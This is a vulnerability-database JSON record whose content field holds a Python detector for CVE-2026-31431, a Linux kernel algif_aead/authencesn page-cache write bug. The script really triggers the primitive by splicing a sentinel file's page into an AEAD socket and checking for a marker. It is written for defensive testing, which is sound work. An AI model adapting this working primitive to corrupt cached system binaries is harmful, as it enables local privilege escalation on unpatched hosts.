{"uuid": "2f7e14b3-c894-4eb5-8587-7b005929b161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Deemasta/663a32c808164adcacfa7e0877e5198e", "content": "#!/usr/bin/env python3\n# CVE-2026-31431 (\"Copy Fail\") vulnerability detector.\n#\n# Attempts to trigger the algif_aead / authencesn page-cache scratch-write\n# primitive against a user-owned sentinel file in a temp directory. If the\n# scratch write lands inside the spliced page-cache page, the file's contents\n# (as observed via a fresh read) will contain the marker bytes.\n#\n# SAFE BY DESIGN\n#   * Operates on a sentinel file the running user just created. /usr/bin/su\n#     and other system binaries are NOT touched.\n#   * Page-cache corruption is in-memory only; nothing is written back to disk.\n#   * Exit 0 = NOT vulnerable, 2 = VULNERABLE, 1 = test error.\n#\n# Use only on hosts you own or are explicitly authorized to test.\n\nimport errno\nimport os\nimport socket\nimport struct\nimport sys\nimport tempfile\n\nAF_ALG                    = 38\nSOL_ALG                   = 279\nALG_SET_KEY               = 1\nALG_SET_IV                = 2\nALG_SET_OP                = 3\nALG_SET_AEAD_ASSOCLEN     = 4\nALG_OP_DECRYPT            = 0\nCRYPTO_AUTHENC_KEYA_PARAM = 1   # rtattr type from \n\nALG_NAME = \"authencesn(hmac(sha256),cbc(aes))\"\nPAGE     = 4096\nASSOCLEN = 8     # SPI(4) || seqno_lo(4)\nCRYPTLEN = 16    # one AES block\nTAGLEN   = 16    # truncated HMAC-SHA256\nMARKER   = b\"PWND\"\n\n\ndef build_authenc_keyblob(authkey: bytes, enckey: bytes) -&gt; bytes:\n    # struct rtattr { u16 rta_len; u16 rta_type } || __be32 enckeylen || keys\n    rtattr   = struct.pack(\"HH\", 8, CRYPTO_AUTHENC_KEYA_PARAM)\n    keyparam = struct.pack(\"&gt;I\", len(enckey))\n    return rtattr + keyparam + authkey + enckey\n\n\ndef precheck() -&gt; str | None:\n    if not os.path.exists(\"/proc/crypto\"):\n        return \"/proc/crypto missing\"\n    try:\n        socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0).close()\n    except OSError as e:\n        return f\"AF_ALG socket family unavailable ({e.strerror})\"\n    try:\n        s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)\n        s.bind((\"aead\", ALG_NAME))\n        s.close()\n    except OSError as e:\n        return f\"{ALG_NAME!r} cannot be instantiated ({e.strerror})\"\n    return None\n\n\ndef attempt_trigger(target_path: str) -&gt; tuple[bool, bytes]:\n    sentinel = (b\"COPYFAIL-SENTINEL-UNCORRUPTED!!\\n\" * (PAGE // 32))[:PAGE]\n    with open(target_path, \"wb\") as f:\n        f.write(sentinel)\n\n    # Populate page cache.\n    fd_target = os.open(target_path, os.O_RDONLY)\n    os.read(fd_target, PAGE)\n    os.lseek(fd_target, 0, os.SEEK_SET)\n\n    # Master socket: bind + key.\n    master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)\n    master.bind((\"aead\", ALG_NAME))\n    master.setsockopt(\n        SOL_ALG, ALG_SET_KEY,\n        build_authenc_keyblob(b\"\\x00\" * 32, b\"\\x00\" * 16),\n    )\n    op, _ = master.accept()\n\n    # Per-op parameters travel as control messages on sendmsg, not setsockopt.\n    # AAD bytes 4..7 are seqno_lo - the value the buggy scratch-write copies\n    # into dst[assoclen + cryptlen]. We pick MARKER so corruption is obvious.\n    aad = b\"\\x00\" * 4 + MARKER\n    cmsg = [\n        (SOL_ALG, ALG_SET_OP,            struct.pack(\"I\", ALG_OP_DECRYPT)),\n        (SOL_ALG, ALG_SET_IV,            struct.pack(\"I\", 16) + b\"\\x00\" * 16),\n        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack(\"I\", ASSOCLEN)),\n    ]\n    op.sendmsg([aad], cmsg, socket.MSG_MORE)\n\n    # Splice CRYPTLEN+TAGLEN bytes of the target's page-cache page into the\n    # op socket. Because algif_aead runs in-place (req-&gt;dst = req-&gt;src), those\n    # page-cache pages now sit in the destination scatterlist.\n    pr, pw = os.pipe()\n    try:\n        n = os.splice(fd_target, pw, CRYPTLEN + TAGLEN, offset_src=0)\n        if n != CRYPTLEN + TAGLEN:\n            raise RuntimeError(f\"splice file-&gt;pipe short: {n}\")\n        n = os.splice(pr, op.fileno(), n)\n        if n != CRYPTLEN + TAGLEN:\n            raise RuntimeError(f\"splice pipe-&gt;op short: {n}\")\n    except OSError as e:\n        os.close(pr); os.close(pw)\n        op.close(); master.close(); os.close(fd_target)\n        if e.errno in (errno.EOPNOTSUPP, errno.ENOTSUP):\n            raise RuntimeError(\n                \"splice into AF_ALG socket not supported on this kernel - \"\n                \"the page-cache attack vector is not reachable here\"\n            ) from e\n        raise\n\n    # Drive the algorithm. Auth check will fail (we sent zero ciphertext+tag);\n    # EBADMSG is fine - the scratch write fires before/independent of verify.\n    try:\n        op.recv(ASSOCLEN + CRYPTLEN + TAGLEN)\n    except OSError as e:\n        if e.errno not in (errno.EBADMSG, errno.EINVAL):\n            raise\n\n    op.close()\n    master.close()\n    os.close(pr)\n    os.close(pw)\n\n    # Read back via the existing fd (page cache, not disk).\n    os.lseek(fd_target, 0, os.SEEK_SET)\n    after = os.read(fd_target, PAGE)\n    os.close(fd_target)\n\n    return after, sentinel\n\n\ndef kernel_in_affected_line() -&gt; bool:\n    # Per the disclosure, fixes landed on the 6.12, 6.17 and 6.18 stable lines.\n    rel = os.uname().release.split(\"-\")[0]\n    parts = rel.split(\".\")\n    try:\n        major, minor = int(parts[0]), int(parts[1])\n    except (ValueError, IndexError):\n        return False\n    return (major, minor) &gt;= (6, 12)\n\n\ndef main() -&gt; int:\n    print(f\"[*] CVE-2026-31431 detector  kernel={os.uname().release}  \"\n          f\"arch={os.uname().machine}\")\n    if not kernel_in_affected_line():\n        print(f\"[i] Kernel {os.uname().release} predates the affected \"\n              f\"6.12/6.17/6.18 lines; trigger may not apply even if \"\n              f\"prerequisites match.\")\n\n    reason = precheck()\n    if reason:\n        print(f\"[+] Precondition not met ({reason}). NOT vulnerable.\")\n        return 0\n    print(f\"[+] AF_ALG + {ALG_NAME!r} loadable - precondition met.\")\n\n    tmp = tempfile.mkdtemp(prefix=\"copyfail-\")\n    target = os.path.join(tmp, \"sentinel.bin\")\n    try:\n        after, sentinel = attempt_trigger(target)\n    except Exception as e:\n        print(f\"[!] Trigger failed: {type(e).__name__}: {e}\")\n        return 1\n    finally:\n        try:\n            os.remove(target)\n            os.rmdir(tmp)\n        except OSError:\n            pass\n\n    # The exact landing offset of the 4-byte scratch write depends on how\n    # the source/destination scatterlists are laid out by algif_aead for this\n    # combination of inline-AAD + spliced-page input. What's invariant is that\n    # the 4 bytes from AAD seqno_lo (our marker) appear somewhere in the page,\n    # AND the marker is not present in the original sentinel.\n    marker_off  = after.find(MARKER)\n    marker_orig = sentinel.find(MARKER)\n    diffs       = [i for i in range(PAGE) if after[i] != sentinel[i]]\n\n    if marker_off &gt;= 0 and marker_orig &lt; 0:\n        ctx = after[max(marker_off - 4, 0):marker_off + 12]\n        print(f\"[!] VULNERABLE to CVE-2026-31431.\")\n        print(f\"[!]   Marker {MARKER!r} (AAD seqno_lo) landed in the spliced \"\n              f\"page-cache page at offset {marker_off}.\")\n        print(f\"[!]   Surrounding bytes: {ctx.hex()}  ({ctx!r})\")\n        print(f\"[!] Apply the upstream fix or block algif_aead immediately.\")\n        return 2\n\n    if diffs:\n        first = diffs[0]\n        window = after[first:first + 16]\n        print(f\"[!] Page cache MODIFIED via in-place AEAD splice path \"\n              f\"({len(diffs)} bytes changed, first at offset {first}).\")\n        print(f\"[!]   Window: {window.hex()}\")\n        print(f\"[!]   The controllable scratch-write marker did not land, but \"\n              f\"the kernel still allowed a page-cache page into the writable \"\n              f\"AEAD destination scatterlist.\")\n        print(f\"[!]   Treat as VULNERABLE to the underlying bug class until \"\n              f\"a patched kernel is installed.\")\n        return 2\n\n    print(\"[+] Page cache intact. NOT vulnerable on this kernel.\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())", "creation_timestamp": "2026-05-06T15:53:28.000000Z"}